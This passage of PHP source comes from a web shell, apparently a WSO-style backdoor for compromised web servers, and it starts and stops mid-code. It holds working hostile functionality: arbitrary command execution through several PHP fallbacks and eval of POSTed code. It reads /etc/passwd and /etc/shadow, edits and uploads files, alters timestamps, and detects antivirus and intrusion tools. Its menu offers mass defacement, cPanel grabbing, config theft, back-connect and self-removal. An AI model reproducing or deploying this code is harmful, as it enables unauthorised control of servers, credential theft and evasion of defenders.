data;}data=utf8_encode(data+\'\');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join(\'\');switch (data.length%3){case 1:enc=enc.slice(0,-2)+\'==\';break;case 2:enc=enc.slice(0,-1)+\'=\';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = \'ajax=true\';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open(\'POST\', url, true);\r\n            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\r\n            req.send(params);\r\n        }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert(\'Request error!\');\r\n\t}\r\n</script>\r\n<head><body><div style=\'position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;\'>\r\n<form method=post name=mf style=\'display:none;\'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";\r\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\r\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\r\n\t$totalSpace = $totalSpace?$totalSpace:1;\r\n\t$release = @php_uname(\'r\');\r\n\t$kernel = @php_uname(\'s\');\r\n\t$explink = \'https://www.exploit-db.com/search/?action=search&description=\';\r\n\tif(strpos(\'Linux\', $kernel) !== false)\r\n\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\r\n\telse\r\n\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\r\n\tif(!function_exists(\'posix_getegid\')) {\r\n\t\t$user = @get_current_user();\r\n\t\t$uid = @getmyuid();\r\n\t\t$gid = @getmygid();\r\n\t\t$group = "?";\r\n\t} else {\r\n\t\t$uid = @posix_getpwuid(@posix_geteuid());\r\n\t\t$gid = @posix_getgrgid(@posix_getegid());\r\n\t\t$user = $uid[\'name\'];\r\n\t\t$uid = $uid[\'uid\'];\r\n\t\t$group = $gid[\'name\'];\r\n\t\t$gid = $gid[\'gid\'];\r\n\t}\r\n\t$cwd_links = \'\';\r\n\t$path = explode("/", $GLOBALS[\'cwd\']);\r\n\t$n=count($path);\r\n\tfor($i=0; $i<$n-1; $i++) {\r\n\t\t$cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\r\n\t\tfor($j=0; $j<=$i; $j++)\r\n\t\t\t$cwd_links .= $path[$j].\'/\';\r\n\t\t$cwd_links .= "\\")\'>".$path[$i]."/</a>";\r\n\t}\r\n\t$charsets = array(\'Windows-1251\', \'UTF-8\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\r\n\t$opt_charsets = \'\';\r\n\tforeach($charsets as $asciifnc6)\r\n\t\t$opt_charsets .= \'<option value="\'.$asciifnc6.\'" \'.($_POST[\'charset\']==$asciifnc6?\'selected\':\'\').\'>\'.$asciifnc6.\'</option>\';\r\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Mass Deface\'=>\'Sql\',\'Adminer\'=>\'Adminer\',\'Terminal\'=>\'Console\',\'Mass User\'=>\'Edituser\',\'Grab Cpanel\'=>\'Php\',\'Get Configs\'=>\'SafeMode\',\'Sym Python\'=>\'Sym\',\'Jumping\'=>\'StringTools\',\'Cgi Telnet\'=>\'Bruteforce\',\'Bypass\'=>\'bypas\',\'BC\'=>\'Network\');\r\n\tif(!empty($GLOBALS[\'asciifnc5\']))\r\n\r\n\t$m[\'WHM Auto\'] = \'Reseller\';\r\n\t$m[\'Logout\'] = \'Logout\';\r\n\t$m[\'Self Remove\'] = \'SelfRemove\';\r\n\t$menu = \'\';\r\n\tforeach($m as $k => $v)\r\n\t\t$menu .= \'<th> <font color="#ffb101">- <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a></font></th>\';\r\n\t$drives = "";\r\n\tif ($GLOBALS[\'os\'] == \'win\') {\r\n\t\tforeach(range(\'c\',\'z\') as $drive)\r\n\t\tif (is_dir($drive.\':\\\\\'))\r\n\t\t\t$drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\r\n\t}\r\n\t/* (С) 08.2015 dmkcv */\r\n\techo \'<table class=infoo cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\').\'</span></td>\'.\r\n\t\t \'<td><nobr>\'.substr(@php_uname(), 0, 120).\' <a href="https://anon.click/protected/https://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[ Google ]</a> <a href="\'.$explink.\'" target=_blank>[ Exploit-DB ]</a></nobr><br>\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \' .$group. \' )<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#ffffff><b>OFF</b></font>\').\' <a href=# onclick="g(\\\'Php\\\',null,null,\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.round(100/($totalSpace/$freeSpace),2).\'%)<br>\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\'.$GLOBALS[\'home_cwd\'].\'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\'.$drives.\'</td>\'.\r\n\t\t \'<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">\'.$opt_charsets.\'</select></label><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.\r\n\t\t \'<table style="background-color:#373c42;" cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div>\';\r\n}\r\nfunction hardFooter() {\r\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'#ffffff\'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";\r\n    echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(null,this.c.value,\'\');":\'\' )."return false;\\"><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".(function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value);":\'\' )."return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(\'FilesMan\',null,\'mkdir\',this.d.value);":\'\' )."return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d required><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value,\'mkfile\');":\'\' )."return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionConsole\')? "g(\'Console\',null,this.c.value);":\'\' )."return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form method=\'post\' ".( (!function_exists(\'actionFilesMan\'))? " onsubmit=\\"return false;\\" ":\'\' )."ENCTYPE=\'multipart/form-data\'>\r\n\t\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t\t<input type=hidden name=p1 value=\'uploadFile\'>\r\n\t\t<input type=hidden name=ne value=\'\'>\r\n\t\t<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\r\n\t\t<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f[]  multiple><input type=submit value=\'submit\'></form><br  ></td>\r\n\t</tr></table></div>\r\n\r\n\r\n\t</body></html>";\r\n}\r\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) { function posix_getpwuid($p) {return false;} }\r\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) { function posix_getgrgid($p) {return false;} }\r\nfunction ex($in) {\r\n\t$asciifnc7 = \'\';\r\n\tif (function_exists(\'exec\')) {\r\n\t\t@exec($in,$asciifnc7);\r\n\t\t$asciifnc7 = @join("\\n",$asciifnc7);\r\n\t} elseif (function_exists(\'passthru\')) {\r\n\t\tob_start();\r\n\t\t@passthru($in);\r\n\t\t$asciifnc7 = ob_get_clean();\r\n\t} elseif (function_exists(\'system\')) {\r\n\t\tob_start();\r\n\t\t@system($in);\r\n\t\t$asciifnc7 = ob_get_clean();\r\n\t} elseif (function_exists(\'shell_exec\')) {\r\n\t\t$asciifnc7 = shell_exec($in);\r\n\t} elseif (is_resource($f = @popen($in,"r"))) {\r\n\t\t$asciifnc7 = "";\r\n\t\twhile(!@feof($f))\r\n\t\t\t$asciifnc7 .= fread($f,1024);\r\n\t\tpclose($f);\r\n\t}else return "↳ Unable to execute command\\n";\r\n\treturn ($asciifnc7==\'\'?"↳ Query did not return anything\\n":$asciifnc7);\r\n}\r\nfunction viewSize($s) {\r\n\tif($s >= 1073741824)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\r\n\telseif($s >= 1048576)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\r\n\telseif($s >= 1024)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\r\n\telse\r\n\t\treturn $s . \' B\';\r\n}\r\nfunction perms($p) {\r\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\r\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\r\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\r\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\r\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\r\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\r\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\r\n\telse $i = \'u\';\r\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\r\n\treturn $i;\r\n}\r\nfunction viewPermsColor($f) {\r\n\tif (!@is_readable($f))\r\n\t\treturn \'<font color=#ffb101><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telseif (!@is_writable($f))\r\n\t\treturn \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telse\r\n\t\treturn \'<font color=#ffffff><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n}\r\nfunction hardScandir($dir) {\r\n    if(function_exists("scandir")) {\r\n        return scandir($dir);\r\n    } else {\r\n        $dh  = opendir($dir);\r\n        while (false !== ($filename = readdir($dh)))\r\n            $files[] = $filename;\r\n        return $files;\r\n    }\r\n}\r\nfunction which($p) {\r\n\t$path = ex(\'which \' . $p);\r\n\tif(!empty($path))\r\n\t\treturn $path;\r\n\treturn false;\r\n}\r\n\r\n\r\nfunction actionRC() {\r\n\tif(!@$_POST[\'p1\']) {\r\n\t\t$a = array(\r\n\t\t\t"uname" => php_uname(),\r\n\t\t\t"php_version" => phpversion(),\r\n\t\t\t"VERSION" => VERSION,\r\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\r\n\t\t);\r\n\t\techo serialize($a);\r\n\t} else {\r\n\t\teval($_POST[\'p1\']);\r\n\t}\r\n}\r\nfunction prototype($k, $v) {\r\n    $_COOKIE[$k] = $v;\r\n    setcookie($k, $v);\r\n}\r\nfunction actionSecInfo() {\r\n\thardHeader();\r\n\techo \'<h1>Server security information</h1><div class=content>\';\r\n\tfunction showSecParam($n, $v) {\r\n\t\t$v = trim($v);\r\n\t\tif($v) {\r\n\t\t\techo \'<span>\' . $n . \': </span>\';\r\n\t\t\tif(strpos($v, "\\n") === false)\r\n\t\t\t\techo $v . \'<br>\';\r\n\t\t\telse\r\n\t\t\t\techo \'<pre class=ml1>\' . $v . \'</pre>\';\r\n\t\t}\r\n\t}\r\n\tshowSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\r\n    if(function_exists(\'apache_get_modules\'))\r\n        showSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\r\n\tshowSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\r\n\tshowSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\r\n\tshowSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\r\n\tshowSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\r\n\tshowSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\r\n\t$temp=array();\r\n\tif(function_exists(\'mysql_get_client_info\'))\r\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\r\n\tif(function_exists(\'mssql_connect\'))\r\n\t\t$temp[] = "MSSQL";\r\n\tif(function_exists(\'pg_connect\'))\r\n\t\t$temp[] = "PostgreSQL";\r\n\tif(function_exists(\'oci_connect\'))\r\n\t\t$temp[] = "Oracle";\r\n\tshowSecParam(\'Supported databases\', implode(\', \', $temp));\r\n\techo \'<br>\';\r\n\tif($GLOBALS[\'os\'] == \'nix\') {\r\n            showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\r\n            showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\r\n            if(!$GLOBALS[\'safe_mode\']) {\r\n                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\r\n                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\r\n                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\r\n                echo \'<br>\';\r\n                $temp=array();\r\n                foreach ($userful as $asciifnc6)\r\n                    if(which($asciifnc6))\r\n                        $temp[] = $asciifnc6;\r\n                showSecParam(\'Userful\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($danger as $asciifnc6)\r\n                    if(which($asciifnc6))\r\n                        $temp[] = $asciifnc6;\r\n                showSecParam(\'Danger\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($downloaders as $asciifnc6)\r\n                    if(which($asciifnc6))\r\n                        $temp[] = $asciifnc6;\r\n                showSecParam(\'Downloaders\', implode(\', \',$temp));\r\n                echo \'<br/>\';\r\n                showSecParam(\'HDD space\', ex(\'df -h\'));\r\n                showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\r\n\t\t\t\tshowSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));\r\n            }\r\n\t} else {\r\n\t\tshowSecParam(\'OS Version\',ex(\'ver\'));\r\n\t\tshowSecParam(\'Account Settings\', iconv(\'CP866\', \'UTF-8\',ex(\'net accounts\')));\r\n\t\tshowSecParam(\'User Accounts\', iconv(\'CP866\', \'UTF-8\',ex(\'net user\')));\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionFilesTools() {\r\n\tif( isset($_POST[\'p1\']) )\r\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\r\n\tif(@$_POST[\'p2\']==\'download\') {\r\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\r\n\t\t\tob_start("ob_gzhandler", 4096);\r\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\r\n\t\t\tif (function_exists("mime_content_type")) {\r\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\r\n\t\t\t\theader("Content-Type: " . $type);\r\n\t\t\t} else\r\n                header("Content-Type: application/octet-stream");\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile(!@feof($fp))\r\n\t\t\t\t\techo @fread($fp, 1024);\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}exit;\r\n\t}\r\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\r\n\t\tif(!file_exists($_POST[\'p1\'])) {\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\r\n\t\t\tif($fp) {\r\n\t\t\t\t$_POST[\'p2\'] = "edit";\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\thardHeader();\r\n\techo \'<h1>File tools</h1><div class=content>\';\r\n\tif( !file_exists(@$_POST[\'p1\']) ) {\r\n\t\techo \'File not exists\';\r\n\t\thardFooter();\r\n\t\treturn;\r\n\t}\r\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\r\n\tif(!$uid) {\r\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\r\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\r\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\r\n\techo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\r\n\techo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\r\n\tif( empty($_POST[\'p2\']) )\r\n\t\t$_POST[\'p2\'] = \'view\';\r\n\tif( is_file($_POST[\'p1\']) )\r\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\', \'Frame\');\r\n\telse\r\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\r\n\tforeach($m as $v)\r\n\t\techo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\r\n\techo \'<br><br>\';\r\n\tswitch($_POST[\'p2\']) {\r\n\t\tcase \'view\':\r\n\t\t\techo \'<pre class=ml1>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</pre>\';\r\n\t\t\tbreak;\r\n\t\tcase \'highlight\':\r\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\r\n\t\t\t\techo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\r\n\t\t\t\t$oRb = @highlight_file($_POST[\'p1\'],true);\r\n\t\t\t\techo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$oRb).\'</div>\';\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase \'chmod\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$perms = 0;\r\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\r\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\r\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\r\n\t\t\t\t\techo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'edit\':\r\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\r\n\t\t\t\techo \'File isn\\\'t writeable\';\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\r\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\r\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\r\n\t\t\t\tif($fp) {\r\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\r\n\t\t\t\t\t@fclose($fp);\r\n\t\t\t\t\techo \'Saved!<br><script>p3_="";</script>\';\r\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</textarea><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'hexdump\':\r\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\r\n\t\t\t$n = 0;\r\n\t\t\t$h = array(\'00000000<br>\',\'\',\'\');\r\n\t\t\t$len = strlen($c);\r\n\t\t\tfor ($i=0; $i<$len; ++$i) {\r\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\r\n\t\t\t\tswitch ( ord($c[$i]) ) {\r\n\t\t\t\t\tcase 0:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 9:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\r\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\r\n\t\t\t\t}\r\n\t\t\t\t$n++;\r\n\t\t\t\tif ($n == 32) {\r\n\t\t\t\t\t$n = 0;\r\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\r\n\t\t\t\t\t$h[1] .= \'<br>\';\r\n\t\t\t\t\t$h[2] .= "\\n";\r\n\t\t\t\t}\r\n\t\t \t}\r\n\t\t\techo \'<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#000000><pre>\'.$h[1].\'</pre></td><td bgcolor=#202832><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\r\n\t\t\tbreak;\r\n\t\tcase \'rename\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\r\n\t\t\t\t\techo \'Can\\\'t rename!<br>\';\r\n\t\t\t\telse\r\n\t\t\t\t\tdie(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'touch\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\r\n\t\t\t\tif($time) {\r\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\r\n\t\t\t\t\t\techo \'Fail!\';\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo \'Touched!\';\r\n\t\t\t\t} else echo \'Bad time format!\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\t/* (С) 12.2015 mitryz 